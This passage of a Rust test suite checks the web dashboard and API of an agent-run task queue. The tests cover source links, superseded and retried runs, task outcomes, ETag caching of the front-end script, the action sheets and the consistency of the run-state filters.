17910 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
17911 }
17912
17913 #[test]
17914 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
17915 assert!(
17916 !APP_JS.contains("src.node === \"chat\""),
17917 "inline href rule is back"
17918 );
17919 assert!(
17920 APP_JS.matches("sourceLinkOf(").count() >= 4,
17921 "helper must serve every page"
17922 );
17923 assert!(
17924 APP_JS.matches("openChatLink(").count() >= 3,
17925 "the run page still needs its explicit chat link"
17926 );
17927 assert!(
17928 !APP_JS.contains("const openChat = el("),
17929 "the Queue card duplicates its source label link again"
17930 );
17931 assert!(
17932 APP_JS.contains("metaKids.push(link ? el(\"a\""),
17933 "the task page must link a chat source label too"
17934 );
17935 }
17936
17937 #[test]
17938 fn task_ref_carries_the_source_link_for_a_chat_task() {
17939 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17940 t.source = Source::Agent {
17941 run: "20260904-014455-ab12".to_owned(),
17942 node: "chat".to_owned(),
17943 };
17944 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
17945 let v = serde_json::to_value(&out).expect("json");
17946 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
17947 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
17948 assert_eq!(v["source_label"], t.source.label());
17949
17950 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17951 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
17952 .expect("json");
17953 assert!(v["source_link"].is_null(), "{v}");
17954 }
17955
17956 #[test]
17957 fn task_view_serializes_source_link() {
17958 let mut t = Task::new(
17959 "t".to_owned(),
17960 "t".to_owned(),
17961 PathBuf::from("/repo"),
17962 Source::Agent {
17963 run: "20260901-000000-aaaa".to_owned(),
17964 node: "implement".to_owned(),
17965 },
17966 );
17967 t.runs.clear();
17968 let v = serde_json::to_value(TaskView::from(t)).expect("json");
17969 assert_eq!(v["source_link"]["kind"], "run", "{v}");
17970 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
17971 }
17972
17973 #[tokio::test]
17974 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
17975 let fx = Fixture::start().await;
17976 let runs = fx.runs();
17977 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17978 write_run(&runs, old, RunStatus::Blocked);
17979 write_run(&runs, new, RunStatus::Merged);
17980 let mut t = outcome_task(&[old, new], TaskStatus::Done);
17981 fx.queue().put(&mut t).expect("put");
17982
17983 let view = fx.get(&format!("/api/runs/{old}")).await.json();
17984 let task = &view["task"];
17985 assert_eq!(task["status"], "done");
17986 assert_eq!(task["is_latest"], false);
17987 assert_eq!(task["latest"]["short"], "bbbb");
17988 assert_eq!(task["finished_by"]["id"], new);
17989 assert_eq!(task["finished_by"]["outcome"], "merged");
17990 assert_eq!(task["closed_by_hand"], false);
17991 assert_eq!(view["status"], "blocked", "the run keeps its own status");
17992 assert!(APP_JS.contains("finished_by"));
17993 assert!(APP_JS.contains("superseded by run"));
17994 }
17995
17996 #[tokio::test]
17997 async fn the_latest_run_reports_a_held_task_without_a_successor() {
17998 let fx = Fixture::start().await;
17999 let runs = fx.runs();
18000 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18001 write_run(&runs, old, RunStatus::Stalled);
18002 write_run(&runs, new, RunStatus::Blocked);
18003 let mut t = outcome_task(&[old, new], TaskStatus::Held);
18004 fx.queue().put(&mut t).expect("put");
18005
18006 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
18007 assert_eq!(task["status"], "held");
18008 assert_eq!(task["is_latest"], true);
18009 assert!(task["latest"].is_null());
18010 assert!(task["finished_by"].is_null());
18011 assert_eq!(task["closed_by_hand"], false);
18012 }
18013
18014 #[tokio::test]
18015 async fn a_direct_run_has_no_task_outcome() {
18016 let fx = Fixture::start().await;
18017 let runs = fx.runs();
18018 let id = "20260901-000000-aaaa";
18019 write_run(&runs, id, RunStatus::Blocked);
18020 let view = fx.get(&format!("/api/runs/{id}")).await.json();
18021 assert!(view["task"].is_null());
18022 }
18023
18024 #[test]
18025 fn task_outcome_does_not_guess_a_finishing_run() {
18026 let a = "20260901-000000-aaaa";
18027 let b = "20260901-000000-bbbb";
18028 let c = "20260901-000000-cccc";
18029 let dir = tempfile::tempdir().expect("tempdir");
18030 write_run(dir.path(), a, RunStatus::Blocked);
18031 write_run(dir.path(), b, RunStatus::VerifiedNoop);
18032 let read = |id: &str| read_run(dir.path(), id).ok();
18034 let t = outcome_task(&[a, b, c], TaskStatus::Done);
18037 let out = task_outcome(&t, a, 3, read);
18038 assert!(out.finished_by.is_none());
18039 assert!(out.closed_by_hand);
18040 let latest = out.latest.expect("latest");
18041 assert_eq!(latest.id, c);
18042 assert_eq!(latest.status, None);
18043 assert_eq!(latest.outcome, "record unreadable");
18044
18045 write_run(dir.path(), c, RunStatus::Ready);
18047 let t = outcome_task(&[a, c], TaskStatus::Done);
18048 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18049 assert_eq!(out.finished_by.expect("finisher").id, c);
18050 assert!(!out.closed_by_hand);
18051
18052 let t = outcome_task(&[a, b, a], TaskStatus::Held);
18054 assert!(task_outcome(&t, a, 3, read).is_latest);
18055 }
18056
18057 #[tokio::test]
18058 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18059 let fx = Fixture::start().await;
18064 let q = fx.queue();
18065 let runs = fx.runs();
18066 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18067 write_run(&runs, first, RunStatus::Blocked);
18068 write_run(&runs, second, RunStatus::Merged);
18069
18070 let mut t = Task::new(
18071 "one task".to_owned(),
18072 "do it".to_owned(),
18073 PathBuf::from("/repo"),
18074 Source::Human,
18075 );
18076 t.runs = vec![first.to_owned(), second.to_owned()];
18077 q.put(&mut t).expect("put");
18078
18079 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18080 assert_eq!(earlier["superseded_by"], "dddd");
18081 assert_eq!(earlier["latest_attempt"]["id"], second);
18082 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18083 assert_eq!(
18084 earlier["latest_attempt"]["resolved"], true,
18085 "the run that replaced it landed, so this one reads as settled"
18086 );
18087
18088 let later = fx.get(&format!("/api/runs/{second}")).await.json();
18089 assert!(
18090 later["superseded_by"].is_null(),
18091 "the latest attempt is not superseded by anything"
18092 );
18093 assert!(
18094 later["latest_attempt"].is_null(),
18095 "the latest attempt has no later attempt of its own"
18096 );
18097
18098 assert!(APP_JS.contains("run.latest_attempt"));
18105 assert!(APP_JS.contains("data-superseded"));
18106 assert!(APP_JS.contains("#/runs/${latest.id}"));
18107 }
18108
18109 #[tokio::test]
18110 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18111 let fx = Fixture::start().await;
18117 let q = fx.queue();
18118 let runs = fx.runs();
18119 let (a, b, c) = (
18120 "20260901-000000-aaaa",
18121 "20260901-000000-bbbb",
18122 "20260901-000000-cccc",
18123 );
18124 write_run(&runs, a, RunStatus::Blocked);
18125 write_run(&runs, b, RunStatus::Blocked);
18126 write_run(&runs, c, RunStatus::Merged);
18127
18128 let mut t = Task::new(
18129 "retried twice".to_owned(),
18130 "do it".to_owned(),
18131 PathBuf::from("/repo"),
18132 Source::Human,
18133 );
18134 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18135 q.put(&mut t).expect("put");
18136
18137 let view = fx.get(&format!("/api/runs/{a}")).await.json();
18138 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18139 assert_eq!(
18140 view["latest_attempt"]["id"], c,
18141 "the chain's current head, not the intermediate Blocked retry"
18142 );
18143 assert_eq!(view["latest_attempt"]["resolved"], true);
18144
18145 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18146 assert_eq!(mid["latest_attempt"]["id"], c);
18147 assert_eq!(mid["latest_attempt"]["resolved"], true);
18148 }
18149
18150 #[tokio::test]
18151 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18152 let fx = Fixture::start().await;
18153 let q = fx.queue();
18154 let runs = fx.runs();
18155
18156 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18159 write_run(&runs, still_blocked_a, RunStatus::Blocked);
18160 write_run(&runs, still_blocked_b, RunStatus::Blocked);
18161 let mut t1 = Task::new(
18162 "still stuck".to_owned(),
18163 "do it".to_owned(),
18164 PathBuf::from("/repo"),
18165 Source::Human,
18166 );
18167 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18168 q.put(&mut t1).expect("put");
18169 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18170 assert_eq!(view1["latest_attempt"]["resolved"], false);
18171 assert_eq!(view1["latest_attempt"]["status"], "blocked");
18172 assert_eq!(view1["latest_attempt"]["done"], true);
18173
18174 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18176 write_run(&runs, run_a, RunStatus::Blocked);
18177 write_run(&runs, run_b, RunStatus::Implementing);
18178 let mut t3 = Task::new(
18179 "retrying".to_owned(),
18180 "do it".to_owned(),
18181 PathBuf::from("/repo"),
18182 Source::Human,
18183 );
18184 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18185 q.put(&mut t3).expect("put");
18186 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18187 assert_eq!(view3["latest_attempt"]["id"], run_b);
18188 assert_eq!(view3["latest_attempt"]["resolved"], false);
18189 assert_eq!(view3["latest_attempt"]["done"], false);
18190
18191 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18196 write_run(&runs, noop_a, RunStatus::Blocked);
18197 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18198 let mut t2 = Task::new(
18199 "claims done".to_owned(),
18200 "do it".to_owned(),
18201 PathBuf::from("/repo"),
18202 Source::Human,
18203 );
18204 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18205 q.put(&mut t2).expect("put");
18206 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18207 assert_eq!(
18208 view2["latest_attempt"]["resolved"], false,
18209 "an unverified no-op claim must not read as a confirmed finish"
18210 );
18211
18212 assert!(APP_JS.contains("latest.resolved"));
18215 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18218 assert!(APP_JS.contains("Latest attempt: "));
18219 assert!(APP_JS.contains("in flight"));
18220 assert!(APP_JS.contains("not resolved"));
18221 }
18222
18223 #[tokio::test]
18224 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18225 let fx = Fixture::start().await;
18226 let js = fx.get("/app.js").await;
18232 assert_eq!(js.status, 200);
18233 let tag = js
18234 .header("etag")
18235 .expect("an etag to revalidate against")
18236 .to_owned();
18237 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18238 assert_eq!(
18239 js.header("cache-control"),
18240 Some("no-cache, must-revalidate"),
18241 "the phone has to ask every time"
18242 );
18243
18244 let again = fx
18247 .get_with("/app.js", &[("if-none-match", tag.as_str())])
18248 .await;
18249 assert_eq!(
18250 again.status, 304,
18251 "a deck it already has costs one round trip"
18252 );
18253 assert!(again.body.is_empty(), "304 carries no body");
18254
18255 let weak = fx
18258 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18259 .await;
18260 assert_eq!(weak.status, 304);
18261 let stale = fx
18262 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18263 .await;
18264 assert_eq!(stale.status, 200, "an older build must be replaced");
18265 assert!(stale.body.contains("renderRunActions"));
18266 }
18267
18268 #[test]
18269 fn the_task_detail_has_an_actions_fab_and_sheet() {
18270 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18271 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18272 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18273 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18275 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18276 assert!(APP_JS.contains("renderTaskActions(task);"));
18278 assert!(APP_JS.contains("renderTaskActions(null);"));
18279 let sheet = APP_JS
18281 .find("function renderTaskActions")
18282 .expect("sheet renderer");
18283 let body = &APP_JS[sheet..sheet + 3000];
18284 assert!(body.contains("changePriority("));
18285 assert!(body.contains("openTaskEdit(task)"));
18286 assert!(body.contains("renderTaskHoldBox(host"));
18287 assert!(body.contains("renderTaskDoneBox(host"));
18288 assert!(body.contains("renderTaskDeleteBox(host"));
18289 assert!(APP_JS.contains("API.priority(id)"));
18290 assert!(APP_JS.contains("API.deleteTask(id)"));
18291 assert!(APP_JS.contains("location.hash = \"#/queue\""));
18293 assert!(APP_JS.contains("$(\"task-actions-error\")"));
18295 }
18296
18297 #[test]
18298 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18299 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18300 let actions = INDEX_HTML
18301 .find("id=\"run-actions-box\"")
18302 .expect("actions box");
18303 assert!(task < actions, "the task entry comes first in the sheet");
18304 assert!(APP_JS.contains("renderRunTaskEntry"));
18305 assert!(APP_JS.contains("\"Open task \""));
18306 assert!(APP_JS.contains("started directly, no task"));
18308 assert!(APP_JS.contains("sheet-task-link"));
18309 assert!(APP_JS.contains("task-chip-link"));
18310 }
18311
18312 #[test]
18313 fn the_deck_never_sends_the_operator_to_a_terminal() {
18314 assert!(
18317 !APP_JS.contains("Run `magi fold` first"),
18318 "the deck must offer the fold, not prescribe a shell command"
18319 );
18320 assert!(APP_JS.contains("foldRun:"));
18321 assert!(APP_JS.contains("resumeRun:"));
18322 assert!(APP_JS.contains("renderRunActions"));
18323
18324 assert!(APP_JS.contains("armedFold"));
18326 assert!(APP_JS.contains("Yes, fold worktrees"));
18327
18328 assert!(APP_JS.contains("can no longer be resumed"));
18331 }
18332
18333 #[test]
18334 fn a_finished_run_explains_itself_with_its_own_last_line() {
18335 assert!(
18341 !APP_JS.contains("collapsed on agent quota"),
18342 "a stall must not be explained by a cause the deck did not check"
18343 );
18344 assert!(
18345 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18346 "and a block must not offer a guess with an `or` in it"
18347 );
18348
18349 assert!(
18353 APP_JS.contains("setText(r.event, run.event || \"\")"),
18354 "the run's last line is rendered unconditionally"
18355 );
18356 assert!(
18357 !APP_JS.contains("moving && run.event"),
18358 "and never gated on the run still moving"
18359 );
18360
18361 assert!(APP_JS.contains("lost to quota"));
18363 }
18364
18365 #[test]
18387 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18388 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18389 let shapes_body_start =
18390 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18391 let shapes_close = APP_JS[shapes_body_start..]
18392 .find("].map(")
18393 .expect("the shape list is closed by its done-computing .map(...)")
18394 + shapes_body_start;
18395 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18396
18397 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18398 for entry in shapes_src.split('{').skip(1) {
18399 let waiting = entry.contains("waiting: true");
18400 let dead = entry.contains("live: \"dead\"");
18401 let status_at =
18402 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18403 let status_end = entry[status_at..]
18404 .find('"')
18405 .expect("the status string is closed")
18406 + status_at;
18407 let parked = entry.contains("display_status: \"parked\"");
18408 shapes.push((
18409 waiting,
18410 entry[status_at..status_end].to_string(),
18411 dead,
18412 parked,
18413 ));
18414 }
18415 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
18416
18417 let done_rule_marker = "done: !";
18421 let done_rule_at = APP_JS[shapes_close..]
18422 .find(done_rule_marker)
18423 .expect("the done rule follows the shape list")
18424 + shapes_close
18425 + done_rule_marker.len();
18426 let includes_at = APP_JS[done_rule_at..]
18427 .find(".includes(shape.status)")
18428 .expect("the done rule ends in .includes(shape.status)")
18429 + done_rule_at;
18430 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
18431 .trim()
18432 .trim_start_matches('[')
18433 .trim_end_matches(']')
18434 .split(',')
18435 .map(|s| s.trim().trim_matches('"'))
18436 .filter(|s| !s.is_empty())
18437 .collect();
18438
18439 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
18440 .into_iter()
18441 .map(|(waiting, status, dead, parked)| {
18442 let done = !not_done.contains(&status.as_str());
18443 (waiting, status, dead, parked, done)
18444 })
18445 .collect();
18446
18447 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
18451 if waiting {
18452 return "waiting";
18453 }
18454 if dead
18455 && !parked
18456 && !matches!(
18457 status,
18458 "merged"
18459 | "ready"
18460 | "stalled"
18461 | "blocked"
18462 | "failed"
18463 | "verified_noop"
18464 | "superseded"
18465 | "already_in_base"
18466 )
18467 {
18468 return "stale";
18469 }
18470 match status {
18471 "merged" | "ready" => "landed",
18472 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
18473 | "already_in_base" => "ended",
18474 _ => "flight",
18475 }
18476 }
18477
18478 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
18481 match filter_key {
18482 "active" => !done,
18483 "flight" => !done && !waiting && !dead,
18484 "stale" => !done && !waiting && dead,
18485 "waiting" => waiting,
18486 "done" => done,
18487 "all" => true,
18488 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
18489 }
18490 }
18491
18492 let compatible = |section: &str, filter_key: &str| {
18493 shapes.iter().any(|(waiting, status, dead, parked, done)| {
18494 run_section(*waiting, status, *dead, *parked) == section
18495 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
18496 })
18497 };
18498
18499 let expected = [
18504 ("waiting", [true, false, false, true, true, true]),
18505 ("stale", [true, false, true, false, false, true]),
18506 ("flight", [true, true, false, false, false, true]),
18507 ("landed", [false, false, false, false, true, true]),
18508 ("ended", [false, false, false, false, true, true]),
18509 ];
18510 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
18511
18512 for (section, wants) in expected {
18513 for (filter_key, want) in filter_keys.iter().zip(wants) {
18514 assert_eq!(
18515 compatible(section, filter_key),
18516 want,
18517 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
18518 );
18519 }
18520 }
18521
18522 assert!(
18525 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
18526 );
18527 assert!(APP_JS.contains(
18528 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
18529 ));
18530 assert!(APP_JS.contains(
18531 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
18532 ));
18533 }
18534
18535 #[tokio::test]
18536 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
18537 let dir = tempfile::tempdir().expect("tempdir");
18541 let explicit = dir.path().join("not-a-checkout");
18542 std::fs::create_dir_all(&explicit).expect("create dir");
18543 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
18544
18545 let missing = dir.path().join("does-not-exist-at-all");
18546 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
18547 }
18548
18549 #[test]
18550 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
18551 assert!(APP_JS.contains("function statsDonutArcs"));
18552 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
18553 assert!(APP_JS.contains("function statusInBucket"));
18555 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
18556 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
18557 let buckets = [
18558 "merged",
18559 "ready",
18560 "in_progress",
18561 "blocked",
18562 "failed",
18563 "verified_noop",
18564 "superseded",
18565 "stalled",
18566 ];
18567 for key in buckets {
18568 let var = format!("--verdict-{key}:");
18569 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
18571 assert!(
18572 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
18573 "{key}"
18574 );
18575 }
18576 }
18577}